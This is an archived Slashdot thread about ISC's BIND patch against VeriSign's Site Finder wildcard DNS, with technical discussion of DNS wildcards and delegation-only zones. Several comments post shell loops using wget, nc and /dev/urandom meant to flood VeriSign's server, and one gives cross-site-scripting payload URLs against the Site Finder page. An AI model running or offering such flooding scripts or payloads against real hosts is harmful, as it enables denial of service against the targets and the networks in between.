Slashdot Mirror


BIND Strikes Back Against VeriSign's Site Finder

BrunoC writes "Following the story about VeriSign's new Site Finder, the Internet Software Consortium promises to release a patch to its (in)famous BIND that will block the controversial Site Finder. Wired News has full coverage of the ISC initiative against this name resolving atrocity."

582 comments

  1. Verislime by Anonymous Coward · · Score: 2, Interesting

    #!/bin/sh
    function get_char(){ local GOOD=0;while [ $GOOD == 0 ];do RAND_C="$(dd if=/dev/urandom bs=1 count=1 2>>/dev/null)";if [ $(echo "$RAND_C" | grep [0-9A-Za-z]) ];then GOOD=1;fi;done;};function get_string(){ local INDEX=0;while [ $INDEX != 32 ];do get_char;RAND_STR[$INDEX]=$RAND_C;let INDEX++;done;};get_string;URI=$(echo "${RAND_STR[@]}" | tr -d ' ');wget -O - $URI.com >>/dev/null 2>>/dev/null;exit 1

    1. Re:Verislime by Anonymous Coward · · Score: 0

      #!/bin/bash
      while true ; do
      URI=`gpg --gen-random 0 14 | od -x | head -1 | awk '{print $2 $3 $4 $5 $6 $7 $8}'`
      nslookup www.$URI.com > /dev/null
      done

  2. Yeah, only SPAM, sure. by garcia · · Score: 1, Interesting

    The ISPs involved (according to the article) claim that they are upset that this stops their spam detection.

    While that is all well and good, as a CUSTOMER, I could care less about SPAM detection. What I care about is when I suffer from the Slashdot effect (transposing of letters when I type) and I get some sponsered advertising, I would be pretty pissed off.

    So BIND blocks this won't Verisign just make another "patch" and fix the glitch?

    1. Re:Yeah, only SPAM, sure. by Anonymous Coward · · Score: 5, Informative
      Actually, you do not get anything at the moment. 64.94.110.11 is currently not responding, no doubt under a deluge of requests. While this isn't such a big deal for those who have mistyped a domain name in their browser, it will certainly cause a hell of a problem for mailers around the globe. Remember that Verisign have set up "dummy" mailer deamons on port 25 to ensure mis-directed mail got bounced immediatly, rather than sit in the mail queue? Well now the mailers can't contact that dummy deamon, and the mail is building up in the queues.

      I hope some large ISP's bring action against Verisign for breaking their email systems like that.

      In the meantime, if you want to help keep Verisigns SiteFinder off the internet, try this simple script in a while loop:
      #!/bin/sh
      function get_char(){ local GOOD=0;while [ $GOOD == 0 ];do RAND_C="$(dd if=/dev/urandom bs=1 count=1 2>>/dev/null)";if [ $(echo "$RAND_C" | grep [0-9A-Za-z]) ];then GOOD=1;fi;done;};function get_string(){ local INDEX=0;while [ $INDEX != 32 ];do get_char;RAND_STR[$INDEX]=$RAND_C;let INDEX++;done;};get_string;URI=$(echo "${RAND_STR[@]}" | tr -d ' ');wget -O - $URI.com >>/dev/null 2>>/dev/null;exit 1
    2. Re:Yeah, only SPAM, sure. by Anonymous Coward · · Score: 0
      You also SUFFER from random CAPITALIZATION. (Detecting SPAM is easy, the familiar can is a tip-off. Lower-case spam email is harder.)

      Verislime can change the IP address returned, but a filter of their entire range should work.

    3. Re:Yeah, only SPAM, sure. by AKnightCowboy · · Score: 4, Funny
      So BIND blocks this won't Verisign just make another "patch" and fix the glitch?

      Not if they make it in a configurable way to let you choose what IP Verisign is redirecting to. Then again, Verisign is a bunch of Dope Smoking Pedophiles, as referenced by this Internet Web site they have registered. Let's not forget they're also a bunch of Clueless DNS whores. Oh yes, and I heard Verisign supports terrorists at this page: here...

      Verisign needs to be shut down for these un-American and clearly criminal web sites. Someone notify John Ashcroft, quickly!

    4. Re:Yeah, only SPAM, sure. by Burlynerd · · Score: 0

      Verisign has now invented DNS Spamming. I guess they will now start hiring hackers to get their spamming past the various types of blocks that we put up.

      As with email spam, Congress will lack the cojones to stop the Verisign spam, and it will be another ongoing battle for the citizens to handle for themselves. Egad.

      Time to redefine that IP address...

    5. Re:Yeah, only SPAM, sure. by @madeus · · Score: 1

      What I care about is when I suffer from the Slashdot effect (transposing of letters when I type)

      Transposing letters is not (and never has been) the 'Slashdot effect'.

    6. Re:Yeah, only SPAM, sure. by geggibus · · Score: 1

      There's other solutions right now.. i guess both spammers and verizons mail rejector won't like my sig.. (do not click!, 5mb random@random.com/net)

    7. Re:Yeah, only SPAM, sure. by dm(Hannu) · · Score: 5, Funny
      Transposing letters is not (and never has been) the 'Slashdot effect'.

      Exactly. The correct term for this is Sldahost efcfet

    8. Re:Yeah, only SPAM, sure. by Zocalo · · Score: 4, Insightful

      Actually, ISC as been smarter than that. What they have done is allow certain domains to be designated "delegation only". That means, in a nutshell, you can specify for instance ".net" and ISC will automatically return NXDOMAIN for anything other than an NS pointer at that level. This in effect will wipe out wildcarding at the TLD/GLD levels for which it is configured, and if you wished you could even extend it to block wildcarding of things like "*.uk.com".

      --
      UNIX? They're not even circumcised! Savages!
    9. Re:Yeah, only SPAM, sure. by LostCluster · · Score: 1

      The BIND patch simply has to disregaurd any line that assigns an IP address to "*.net" and "*.com"... TLDs shouldn't have wildcard entries.

    10. Re:Yeah, only SPAM, sure. by shachart · · Score: 1

      I wonder how long it will take to DDOS Verisign to oblivion.... everybody, click after me Do not attempt to own us

      --
      Those who can, do. Those who can't, consult.
    11. Re:Yeah, only SPAM, sure. by MuParadigm · · Score: 1


      "So BIND blocks this won't Verisign just make another "patch" and fix the glitch?"

      I don't think so. The easiest way to fix BIND to ignore wildcard records is to simply make wildcards unrecognizable. Frankly, I can't think of a reason why DNS supported it in the first place.

      Take away that capability, and there's no "glitch" to "fix".

      Any BIND developers out there who can flesh out the technical details for us?

    12. Re:Yeah, only SPAM, sure. by Anonymous Coward · · Score: 0
      Not very long, it seems. I can "resolve" non-existent domains to 64.94.110.11 but I cannot connect to either port 80 or 25, so unless the backbone provider is doing something odd, they look to be down from here.

      Anyway, try this:

      #!/bin/sh
      function get_char(){ local GOOD=0;while [ $GOOD == 0 ];do RAND_C="$(dd if=/dev/urandom bs=1 count=1 2>>/dev/null)";if [ $(echo "$RAND_C" | grep [0-9A-Za-z]) ];then GOOD=1;fi;done;};function get_string(){ local INDEX=0;while [ $INDEX != 32 ];do get_char;RAND_STR[$INDEX]=$RAND_C;let INDEX++;done;};while [ 1 ];do get_string;URI=$(echo "${RAND_STR[@]}" | tr -d ' ');wget -O - $URI.com >>/dev/null 2>>/dev/null;done;exit 1
    13. Re:Yeah, only SPAM, sure. by Ryosen · · Score: 2, Informative

      I have to make a small complaint here. I don't seem to be able to get the sitefinder page when I enter in an unregistered domain name. Not the links above nor just random garbage. I merely get a "Could Not Connect to Remote Server" message.

      *Sigh*. I never get to have any fun...

      --

      Ryosen
      One man's "Troll, +1" is another man's "Insightful, +1".
    14. Re:Yeah, only SPAM, sure. by Anonymous Coward · · Score: 0

      they can connect, actually
      port 80 is filtered now, but 25 is still open and works

    15. Re:Yeah, only SPAM, sure. by kraksmoka · · Score: 1

      haha. umm, last time i checked, there are 13 root servers and something like 12 are running BIND. and that isn't gonna change overnite. so, ya, there will be some redirection still, to their crappy page, but not so much. BIND is just that, the glue that holds the net together.

      --
      "You never want a serious crisis to go to waste." - Rahm Emanuel
    16. Re:Yeah, only SPAM, sure. by ananiasanom · · Score: 2, Insightful
      I'm not a DNS expert, but couldn't Verisign work round this, by delegating x.com (where x is any unregistered domain) to a different nameserver (of their own), which would then return A records pointing to their advert server?

      Of course, they would need to customize their DNS software to do that, as opposed to just adding a line to a config file.

    17. Re:Yeah, only SPAM, sure. by tubabeat · · Score: 4, Interesting
      Yeah...
      $ telnet 64.94.110.11 25
      Trying 64.94.110.11...
      Connected to sitefinder-idn.verisign.com(64.94.110.11).
      Escape character is '^]'.
      220 snubby2-wceast Snubby Mail Rejector Daemon v1.3 ready
      HELO
      250 OK
      MAIL FROM: someone@somewhere.com
      250 OK
      RCPT To: abuse@verisign.com
      550 User domain does not exist.
      RCPT To: abuse@verisign.com
      250 OK
      DATA
      221 snubby2-wceast Snubby Mail Rejector Daemon v1.3 closing transmission channel
      Connection closed by foreign host.
      Interesting that it rejects the first recipient, but accepts the second, then bomb on the DATA stage. I wonder if they're logging the email addresses that are being sent?
      --
      "Linux is a serious competitor"
      - Steve Ballmer, Chief Executive Microsoft Corp.
    18. Re:Yeah, only SPAM, sure. by Anonymous Coward · · Score: 0

      Interesting, I still can't connect from here. Could be an ISP or backbone issue I guess.

      Still doesn't solve the problem of everything that isn't HTTP or SMTP connections trying to contact them, though.

    19. Re:Yeah, only SPAM, sure. by Anonymous Coward · · Score: 0

      Right. mtsipping teh lettres is clled the CmdrTaco effect

    20. Re:Yeah, only SPAM, sure. by platypus · · Score: 5, Funny

      Interesting that it rejects the first recipient, but accepts the second, then bomb on the DATA stage.

      You are thinking too complex for verisign standards ;)

      $ telnet spam.aasfgsdafgsdf.com 25
      Trying 64.94.110.11...
      Connected to spam.aasfgsdafgsdf.com.
      Escape character is '^]'.
      220 snubby4-wceast Snubby Mail Rejector Daemon v1.3 ready
      gfsdfg
      250 OK
      sdfgsdgf
      250 OK
      sdfgsdgf
      550 User domain does not exist.
      sdfgsdgf
      250 OK
      sdgfdsg
      221 snubby4-wceast Snubby Mail Rejector Daemon v1.3 closing transmission channel

      Connection closed by foreign host.

    21. Re:Yeah, only SPAM, sure. by Anonymous Coward · · Score: 0

      It'd never fly. Now tell the RIAA about www..com or the MPAA about www..com and you might be on to something.

    22. Re:Yeah, only SPAM, sure. by bickerdyke · · Score: 1

      >> Transposing letters is not (and never has been) the 'Slashdot effect'. >Exactly. The correct term for this is Sldahost efcfet Thats what he wanted to type. But then the Sldahost efcfet kicked in....

      --
      bickerdyke
    23. Re:Yeah, only SPAM, sure. by paule9984673 · · Score: 1

      No, quite the contrary. Verisign will persuade the lawmakers that the blocking makes them lose income and that it therefore is like stealing. In the end they will sue 12 year olds for DNS theft.

    24. Re:Yeah, only SPAM, sure. by TonyMo · · Score: 1
      couldn't Verisign work round this, by delegating x.com (where x is any unregistered domain) to a different nameserver (of their own), which would then return A records pointing to their advert server?
      They would have to do this for every unregistered domain, which would be impractical. The problem with the wildcard is that it catches all unreg domains under the given TLD by default.
    25. Re:Yeah, only SPAM, sure. by Anonymous Coward · · Score: 0

      Think they also own http://www.wecantmakepageswithoutcssproblems.com :

      http://sitefinder.verisign.com/spc?sb=%3C%2Ftitl e% 3E++JavaScript+code+execute+%3A+%3Cscript%3Ejavasc ript%3Aalert%28%22CSS+%21%22%29%3C%2Fscript%3E&sea rchboxtype=2

      and:

      http://sitefinder.verisign.com/lpc?url="//-->'ja va script:alert("ai,%20looks%20like%20CSS%20!").com

    26. Re:Yeah, only SPAM, sure. by Zocalo · · Score: 4, Insightful
      Actually the could quite easily setup their already non-standard DNS servers to simply respond with the effective equivalent of:

      * IN NS screw-isc.verisign.com. and use that to deliver their stupid A records. Of course, if they do that, then things are going to degenerate rapidly. Verisign will not back down because there is money involved, the DNS admins will not back down because of the principle of the thing.

      Should this happen, then ICANN is going to have to step up to the plate, since they are the body to which Verisign is responsible, and make a decision. So, on one side we will have the Internet DNS community, the IAB and IETF, while on the other we have Verisign exceeding their mandate for a chunk of cash. It should be a no-brainer, but given ICANN's track record I certainly wouldn't put any money on which way they would make the call.

      --
      UNIX? They're not even circumcised! Savages!
    27. Re:Yeah, only SPAM, sure. by drakaan · · Score: 1

      Many ISPs are already blocking that IP address...your ISP might be one of them. If so, I applaud them.

      --
      "Murphy was an optimist" - O'Toole's commentary on Murphy's Law
    28. Re:Yeah, only SPAM, sure. by akac · · Score: 3, Interesting

      That would be bad. We use wildcards to ease our DNS duties. For example, we have a customer who likes to create daily new domains such as somenewcompany.theircompany.com somenewcompany2.theircompany.com blahblah.theircompany.com Instead of letting them change the DNS constantly we just setup *.theircompany.com to go to their server. Then all they have to do is manage their apache/IIS/whatever web server. So having BIND remove wildcard support would break us as well as I suspect MANY sites.

    29. Re:Yeah, only SPAM, sure. by Hes+Nikke · · Score: 1

      are you trying to make my life and that of every other domain name leaser who runs mutiple web sites on one server hard?

      have a look at DNS for images.ForgottenNewbies.com, board.ForgottenNewbies.com, etc.

      i could go on, but i'll just get to the point. They are setup so that the DNS for *.ForgottenNewbies.com points to 64.142.15.200, and then i just have the individual site set up in apache. on top of that when someone wants a single file from my server in irc i can give them a url like i.love.long.long.long.urls.ForgottenNewbies.com/fi le :)

      if you force me to tweek my DNS records (my ISP charges per change - yeah i know i should just run my own copy of BIND, but i don't want to worry about the uptime of a pair of DNS servers) i shall be forced to send you the bill :P

      --
      Don't call me back. Give me a call back. Bye. So yeah. But bye our, well, but alright we are on a shirt this chill.
    30. Re:Yeah, only SPAM, sure. by Blkdeath · · Score: 2, Insightful
      Verisign will not back down because there is money involved, the DNS admins will not back down because of the principle of the thing.

      I'm not sure if you intended it that way or not, but you make it sound like this has become a corporate versus long-haired hippy DNS admins battle. I dare say it's much more severe than that. Even my small (by comparison) mail servers are churning like sum'bitches now that they've got all sorts of "hjkvashjklfasdhl.com"-esque domains to send bounce messages to. Imagine the hapless provider with millions of e-mail accounts and, correspondingly, millions of SPAM messages per day. Formerly, forged domains could be easily chucked to the virtual circular file. Now, however, they quite happily resolve to a server that answers to SMTP queries. (Also a black hole, I imagine, but it still has to traverse half the Internet to get there)

      DNS/Sys Admins have to spend time troubleshooting this problem and attempting to work around it in several different arenas. This is definately a money versus money issue. It just so happens that we also have principals on our side.

      --
      BD Phone Home!

      Shameless plug. Like you weren't expecting it.

    31. Re:Yeah, only SPAM, sure. by The+Kiloman · · Score: 2, Interesting

      Quit complaining. If you RTFA (a novel concept, I know) you would have seen that this is at a PER-ZONE level.

      As in, you say that the root zone is delegation-only and suddenly the A record that Verisign put in there is ignored.

      Say it with me again: PER ZONE. There's no reason ANYONE would put this on a normal zone. It ignores all host records, which is good because these things really don't belong in the root anyways.

      So don't worry newbie, your nice newbie domain won't be broken by the nice widdle patch. Now go install it.

      --
      You may disagree, but to be blunt, you're wrong. -tgd
    32. Re:Yeah, only SPAM, sure. by LordWoody · · Score: 2, Informative

      Actually there are plenty of legitimate uses of the wildcard feature. One you might use everyday:

      *.sourceforge.com

      How do you think they keep on top of that many DNS entries that constantly come and go? You see it at ISPs that do third level (and higher) DNS virtual hosting and and group systems where the URL might be in the form of username.domain.com instead of domain.com/~username/

      DNS supports it because it is a legitimate
      feature. And less you think removing wildcard support would fix the issue, as it has already been mentioned in this discussion, all Verisign has to do is modify their DNS server to supply responses that appear to make the domain legitimate. They already use non-standard DNS software, why not make a few more changes to enhance their bottom line?

      Even after the ISC makes the patch to disable wildcards at the TLD level, Verisign can as mentioned above work around it if they really want to by modifying how their servers respond.

      --
      Never meddle in the affairs of dragons,
      for you are crunchy and good with catsup.
    33. Re:Yeah, only SPAM, sure. by Anonymous Coward · · Score: 0

      It's more interesting to note that each of the 3 snubbys will sit there and wait for 90 seconds while you enter the commands. That's 90 * 4 commands = 360 seconds you can tie it up. I wonder how many connections their OSs can handle simultaneously.

    34. Re:Yeah, only SPAM, sure. by plenTpak · · Score: 1

      I wonder what would happen if someone decided to hack www.itsoktohackme.com. or maybe www..com. they could claim to have thought it was ok, or that their own domain. =D

    35. Re:Yeah, only SPAM, sure. by SW6 · · Score: 1
      [somebody proposed delegating unknown domains to a NSI nameserver so that it would defeat the BIND patch.]

      They would have to do this for every unregistered domain, which would be impractical. The problem with the wildcard is that it catches all unreg domains under the given TLD by default.

      Not really much more difficult, because you can wildcard NS records just like any other RR.

    36. Re:Yeah, only SPAM, sure. by johnnyb · · Score: 1

      DNS wildcards are actually very wonderful. I use them a lot. We have lots of clients, and with wildcards, we can start serving up subdomained web sites immediately rather than having to wait 3 days.

      clientname.ourdomain.com instantly points to their development web site as soon as I configure Apache, not 3 days later.

      There are a few other tricks you can do with it, but this is where it has helped me out the most.

    37. Re:Yeah, only SPAM, sure. by johnnyb · · Score: 1

      I'm not sure that the intermediate-level name servers see the wildcards. Do they? i.e. - is it a protocol thing or a BIND application thing?

    38. Re:Yeah, only SPAM, sure. by inputsprocket · · Score: 3
      I wonder if they're logging the email addresses that are being sent?

      "2.4 Monitoring and Communication VeriSign actively monitors all traffic associated with Site Finder, including DNS queries matching the wildcard entries in .com and .net and associated responses, and all traffic sent to the response server. This traffic is correlated and monitored in real time, 24 hours a day, seven days a week, by VeriSign's Network Operations Centre... complete traffic stream to the .com and .net name servers and the response server, as well as rolled up statistics, are stored for analysis."

    39. Re:Yeah, only SPAM, sure. by Hes+Nikke · · Score: 1

      and if you RTFP you would see this quote:

      don't think so. The easiest way to fix BIND to ignore wildcard records is to simply make wildcards unrecognizable. Frankly, I can't think of a reason why DNS supported it in the first place.

      --
      Don't call me back. Give me a call back. Bye. So yeah. But bye our, well, but alright we are on a shirt this chill.
    40. Re:Yeah, only SPAM, sure. by inputsprocket · · Score: 1

      Forgot to add, that comes from VeriSign's white paper

    41. Re:Yeah, only SPAM, sure. by inputsprocket · · Score: 1
    42. Re:Yeah, only SPAM, sure. by ZoneGray · · Score: 1

      >> we have a customer who likes to create daily new domains such as somenewcompany.theircompany.com somenewcompany2.theircompany.com blahblah.theircompany.com

      Oh, yeah, I think I know who you mean... we've been getting a lot of mail from them lately.

      What's even weirder is that since it started, all the guys in Marketing have been bragging about their, ahem, size.

    43. Re:Yeah, only SPAM, sure. by ncc74656 · · Score: 1
      Interesting that it rejects the first recipient, but accepts the second, then bomb on the DATA stage.

      You are thinking too complex for verisign standards ;)

      Might as well have some fun yanking their chain...or letting your computer do the same:

      c=0; while true; do (echo mail from: verisign@needs.to.fuckoff.com; echo rcpt to: abuse@verisign.com; echo rcpt to: abuse@verisign.com; echo data; echo Subject: stop wildcarding .com \& .net; echo ""; echo .) | nc 64.94.110.11 25 >/dev/null; c=`expr $c + 1`; echo $c; done

      Without the body in there, netcat would just wait for further input.

      --
      20 January 2017: the End of an Error.
    44. Re:Yeah, only SPAM, sure. by ncc74656 · · Score: 4, Informative
      everybody, click after me Do not attempt to own us

      Doesn't work for me...then again, I've already fixed djbdns here to return NXDOMAIN when a lookup resolves to Verisign's squatter page. (A copy of the patch is here (the patch isn't mine, but the only place I've seen it is buried in bugs.gentoo.org) and an ebuild for your local Portage tree is here. To use the ebuild, you'll also need to copy Manifest and files/1.05-errno.patch from /usr/portage/net-dns/djbdns.)

      --
      20 January 2017: the End of an Error.
    45. Re:Yeah, only SPAM, sure. by Anonymous Coward · · Score: 0

      Almost by definition there are principals on both sides. Probably principles as well, but I'm sure you meant the latter.

    46. Re:Yeah, only SPAM, sure. by devilspgd · · Score: 3, Informative
      Naa, it's dumber then that, it doesn't even look at RCPT or commands at all...

      220 snubby2-wceast Snubby Mail Rejector Daemon v1.3 ready
      I am
      250 OK
      Evil
      250 OK
      Homer
      550 User domain does not exist.
      da da dada
      250 OK
      DA!
      221 snubby2-wceast Snubby Mail Rejector Daemon v1.3 closing transmission channel

      Connection to host lost.

      It doesn't care WHAT you type, you get the same garbage no matter what.
      --
      Give a man a fish, he'll eat for a day, but teach a man to phish...
    47. Re:Yeah, only SPAM, sure. by devilspgd · · Score: 1

      They also own http://www.verisignsupportschildpornography.com/ too... They even have the balls to run a webpage and advertise on that domain. :D

      --
      Give a man a fish, he'll eat for a day, but teach a man to phish...
    48. Re:Yeah, only SPAM, sure. by Erik+Hensema · · Score: 1

      The bind versions released today support so-called 'delegation-only' zones. These are zones which can only be used for nameserver delegation (and fetching of the corresponding glue records). Bind won't accept anything else coming from these servers. No MX records, no A record, no nothing.

      Works like a charm too. Currently testing at home, tomorrow I'll implement it at work.

      --

      This is your sig. There are thousands more, but this one is yours.

    49. Re:Yeah, only SPAM, sure. by Anonymous Coward · · Score: 0
      You don't need to be so evolved: just trash their datas with random bits
      COUNT=0; while true; do cat /dev/urandom | nc 64.94.110.11 25 ; COUNT=$((COUNT+1)); echo $COUNT; done
    50. Re:Yeah, only SPAM, sure. by LostCluster · · Score: 1

      It's a protocol thing. DNS servers keep a local cache of name-to-IP translations it has done recently, and has an upward-in-the-chain server it turns to when it doesn't have an answer for a query. Eventually, the chain of upstream servers leads back to the root servers. So, if a local installation of BIND is told that "com" and "net" are not allowed to return "A" records unless further quantified, the proper failure result will occur.

    51. Re:Yeah, only SPAM, sure. by LostCluster · · Score: 1

      That's not what BIND is doing. BIND is allowing a config file to declare specific domains for which wildcards are not allowed unless further quantified, and setting the defaults for that to be "*.com" and "*.net". A listed TLD is not allowed to use wildcards, but subdomains within the TLD would be, so *.theircompany.com would still be allowed.

    52. Re:Yeah, only SPAM, sure. by platypus · · Score: 1

      and lest not forget
      this, this or this beauty.

      Might be a nice idea for blogs to push that into google.

    53. Re:Yeah, only SPAM, sure. by johnnyb · · Score: 1

      No, what I was asking is if _wildcards_ were a protocol or a server implementation thing. A Records are obviously a protocol thing, but are wildcards? I.e., does the protocol transfer the fact that an A record is based on a wildcard?

    54. Re:Yeah, only SPAM, sure. by SpaceLifeForm · · Score: 1

      The ultimate self-induced slashdot-ing is in effect.

      --
      You are being MICROattacked, from various angles, in a SOFT manner.
    55. Re:Yeah, only SPAM, sure. by Anonymous Coward · · Score: 0

      Of course, you're mostly just DoS'ing your ISPs caching nameserver with that script. If you were actually trying to DoS verisign (which is a stupid, immature action, but whatever) you'd just use the 64.94.110.11 address directly.

    56. Re:Yeah, only SPAM, sure. by Lost+Race · · Score: 1

      Actually if you enter QUIT at any prompt you get disconnected.

    57. Re:Yeah, only SPAM, sure. by Ryosen · · Score: 1

      Gee, and here I thought that I had just done a really good job "stealthing" my firewall.... =)

      --

      Ryosen
      One man's "Troll, +1" is another man's "Insightful, +1".
    58. Re:Yeah, only SPAM, sure. by tricorn · · Score: 1

      No, this does nothing to block wildcards (which wouldn't help anyway unless they could somehow force Verisign to block them). When you request a record from a nameserver, you don't get any indication that the records you get back were generated from a wildcard entry. The wildcard exists only in THEIR file. All this blocks is anything but NS records (with the supplemental addresses of those nameservers, of course). What this doesn't help, as has been pointed out by others, is them simply changing the A record returned to an NS record instead, pointing to their server, which then returns the appropriate A and NS records for *.

      The only way I can think of to automatically block this kind of thing is to have name servers check randomly generated host names, and if they all return the same IP address, block any response that specifies that IP address, whether returned as an A or NS record. Once found, use one of those random names each time as a crosscheck. This would also block the diverter site even when using the actual assigned name.

      An advantage of this is that, with thousands of machines checking for bogus host names on a regular basis, any attempt to record and take advantage of queries for the purpose of finding unregistered but popular names might be made more difficult.

    59. Re:Yeah, only SPAM, sure. by tricorn · · Score: 1

      No, it doesn't. It's done entirely in the nameserver, unless you do a zone transfer (normally used for secondary servers, and often not allowed for public access).

  3. Excellent! by Ratface · · Score: 4, Insightful

    Tereby helping to prove the old adage that the Internet will just route around regulation! (OK, it's not strictly regulation, but with any luck Verisgn will find that "controlling" the underlying technology of the Internet is not as easy as they first though).

    --

    A little planning goes a long way...
    1. Re:Excellent! by bugnuts · · Score: 1
      It's even stronger than that... It's the old adage of
      If you piss off enough of the internet, you invite a DDOS.

      $ telnet 64.94.110.11 80
      Trying 64.94.110.11...
      telnet: Unable to connect to remote host: Connection timed out

  4. Good for BIND by Empiric · · Score: 5, Insightful

    Good... Verisign's actions here are a particularly heinous form of "embrace-and-extend". Here, they're "embracing" an entire technology freely provided to them, and "extending" it in a blatantly proprietary manner, with no significant work at all on their part. Taking the whole DNS stack and turning it into a profit center by redirecting it at your whim across the entire internet, is outrageous.

    --
    ~ Whence do you come, slayer of men, or where are you going, conqueror of space?
    1. Re:Good for BIND by Anonymous Coward · · Score: 5, Funny

      At least they could have directed us to some decent pr0n instead.

    2. Re:Good for BIND by AKnightCowboy · · Score: 4, Interesting
      Verisign's actions here are a particularly heinous form of "embrace-and-extend". Here, they're "embracing" an entire technology freely provided to them, and "extending" it in a blatantly proprietary manner

      I hope BIND makes it configurable enough to kill off the .cc and .ws wildcards as well.

    3. Re:Good for BIND by aborchers · · Score: 5, Insightful

      And the BIND solution is an excellent response in the spirit of the network's self-healing nature. I'd rather see it solved this way than through a bunch of law suits that benefit none but the attorneys.

      I can't help but think of the contraversy over deep linking and how all those stupid suits could have been avoided if server operators would have just detected the referer header and bounced deep links back to the home page...

      --
      Trouble making decisions? Just flip for it.
    4. Re:Good for BIND by Joe+U · · Score: 5, Interesting

      Then start running the new BIND and also contact your local Attorney General. I did.

      Explain how they are in violation of the Anti-Cybersquatting laws, and have broken their contract with the Department of Commerce regarding the whois database. Mention how it's abuse of a monopoly power.

      Make the states get involved, not the private attorneys.

    5. Re:Good for BIND by Insurgent2 · · Score: 3, Informative

      No, they don't dare do this.
      It's a federal offence to redirect a misspelling to a porn site as it's "illegal to deceive children into viewing harmful material". This is a provision of the "Amber Alert" legislation and will land you in jail for 4 years.
      Relevant Link

    6. Re:Good for BIND by jacksonyee · · Score: 3, Interesting

      The problem with using referer headers is that not all clients provide them. Some people may be using an archaic browser which doesn't send the field, some people may have just typed the URL straight in to the address bar rather than being referred from another website, and some people just plainly disable them for privacy reasons.

      Of course, most lawyers won't understand these principles, but for us web development geeks, there's no sense in blocking legimate users just by one single HTTP header which may or may not be there. If you really want to protect your pages, just require registration before reading.

    7. Re:Good for BIND by Anonymous Coward · · Score: 3, Funny

      Did the surgeons remove your funny bone at birth along with your foreskin?

    8. Re:Good for BIND by UU7 · · Score: 1

      nono, you block if there is a header that's not yours. You permit empty headers.

      You can't stop them all but at least you arent denying access.

    9. Re:Good for BIND by aborchers · · Score: 5, Insightful

      As UU7 just pointed out, the idea is to redirect requests with foreign headers to the front door. The vast majority of modern clients will send the header, and if it is blank, you can either elect to let them have the page, or force them to the front door and set a cookie.

      If someone is so gung ho about privacy that they disable the referer header and refuse cookies, then they must accept that sites with policies that require them to come through the front door and accept a token will be unavailable to them. Publishers are under no obligation to provide their material without at least a nominal quid pro quo from the user.

      --
      Trouble making decisions? Just flip for it.
    10. Re:Good for BIND by Anonymous Coward · · Score: 0

      If they're smart, they'll return NXDOMAIN for any wildcard TLD records (with the option to enable/disable, hopefully enabled by default).

    11. Re:Good for BIND by ruiner13 · · Score: 4, Interesting
      "No, they don't dare do this. It's a federal offence to redirect a misspelling to a porn site as it's "illegal to deceive children into viewing harmful material". This is a provision of the "Amber Alert" legislation and will land you in jail for 4 years."

      So how does whitehouse.com get away with it? (i'm not going to make the name a link, I do not want to link to pr0n on /.).

      --

      today is spelling optional day.

    12. Re:Good for BIND by Anonymous Coward · · Score: 0

      Not forgetting .cx, .tv, others?

    13. Re:Good for BIND by np-complete · · Score: 2, Interesting

      It is configurable enough. The patch isn't enabled by default, you need to specify the zones you want to avoid wildcards for as delegation-only. So, as well as com. and net., add ws. and cc.. The wildcards are undelegated RRs and so won't be heeded. Note that all undelegated RRs in those zones will be hidden this way, but unless you have some obscure and pressing need to see them, you won't be missing out on anything.
      --

      --
      Can you sum it up in a word? *No.* In a noise? *Whuuuurghhhhh!*
    14. Re:Good for BIND by Brendan+Byrd · · Score: 1

      Or gamefaq.com or many, many other sites. There is no "Amber Alert" legislation.

    15. Re:Good for BIND by ergonal · · Score: 1
      From ISC's site:

      Briefly, a zone which has been declared "delegation-only" will be effectively limited to containing NS RRs for subdomains, but no actual data outside its apex (for example, its SOA RR and apex NS RRset).

      I'm not a DNS wizard, but couldn't Verisign counter this by providing a valid NS RR for non-existant domains that points to one of their nameservers, then dish up IN A 64.94.110.11 from there?

    16. Re:Good for BIND by Insurgent2 · · Score: 3, Informative
      Gee, so the basis for the charges against the man in the article were just made up?
      Read this amendment to H.R. 1104:
      Rep. Pence offered an amendment on Thursday, March 27, 2003; it was agreed to by voice vote. The amendment makes it a criminal act to knowingly use a misleading domain name with the intent to deceive a person into viewing obscenity on the Internet. Also makes it a criminal act to knowingly use a misleading domain name with the intent to deceive a minor into viewing material on the Internet that is harmful to minors. A domain name that includes a word or words to indicate the sexual content of the site is not considered misleading.
    17. Re:Good for BIND by np-complete · · Score: 2, Informative

      Yes, but BIND already lets you mark nameservers as bogus. If that happens, it's just a simple matter of editing and reloading configuration files.
      --

      --
      Can you sum it up in a word? *No.* In a noise? *Whuuuurghhhhh!*
    18. Re:Good for BIND by amcguinn · · Score: 2, Insightful

      The technical workaround is good, but I think this is one rare case where legal action might be reasonable.

      If you don't want deep linking, you're objecting to how various random individuals on the internet interact with your computers. You should restrict that interaction on your own computer and not whine about the rest of the world.

      Verisign are not some random external party - they exclusively control chunks of the internet infrastructure. They should be held to a higher standard of behaviour.

      Of course, the real technical solution is for everyone to use an alternative root server. Given the economic network effects in the internet, that's very difficult to arrange. (If Verisign's abuse got much worse, it would be just conceivable).

    19. Re:Good for BIND by meatspray · · Score: 1

      Actually, the most common reason for referrer to be missing is watchguard firewalls which seem to block it from getting transmitted in one of their defualt rulesets :(

    20. Re:Good for BIND by aborchers · · Score: 1
      The technical workaround is good, but I think this is one rare case where legal action might be reasonable.


      In the sense that Verisign operates under a .gov mandate, I couldn't agree more. I'd just like to see them blocked from this kind of behavior by a one-time governmental action as opposed to a bunch of individual and class actions to recoup damages for the suffering of being subjected to advertising on misstyped URLs. :-)

      --
      Trouble making decisions? Just flip for it.
    21. Re:Good for BIND by Richy_T · · Score: 1
      "Whitehouse" was a pr0n magazine for many years before the internet came about. Hence it is not a misdirection.

      Rich

    22. Re:Good for BIND by Brendan+Byrd · · Score: 1

      Fine. Click here and here, if you think this "criminal act" is effective. For that matter, why don't you go to my old site, which was hijacked by a porn king during a domain transfer screwup.

    23. Re:Good for BIND by bonius_rex · · Score: 1

      whitehouse.com, IIRC is the webpage for a magazine called "whitehouse" so it's legit.

    24. Re:Good for BIND by Anonymous Coward · · Score: 1, Informative

      they did. Just patch and add the following to named.conf:

      zone "cc" { type delegation-only; };

      The fix provided by isc even allows for denying wildcard records for subdomains only. This has been thought out.

    25. Re:Good for BIND by ananiasanom · · Score: 2, Informative
      And in fact it was named after the British decency campaigner Mary Whitehouse, not in any way relevant to the US Govt.

      And since Whitehouse is a company, and the White House isn't (although there has been some discussion of that recently), whitehouse.com is much better pointing to the magazine

    26. Re:Good for BIND by Anonymous Coward · · Score: 0

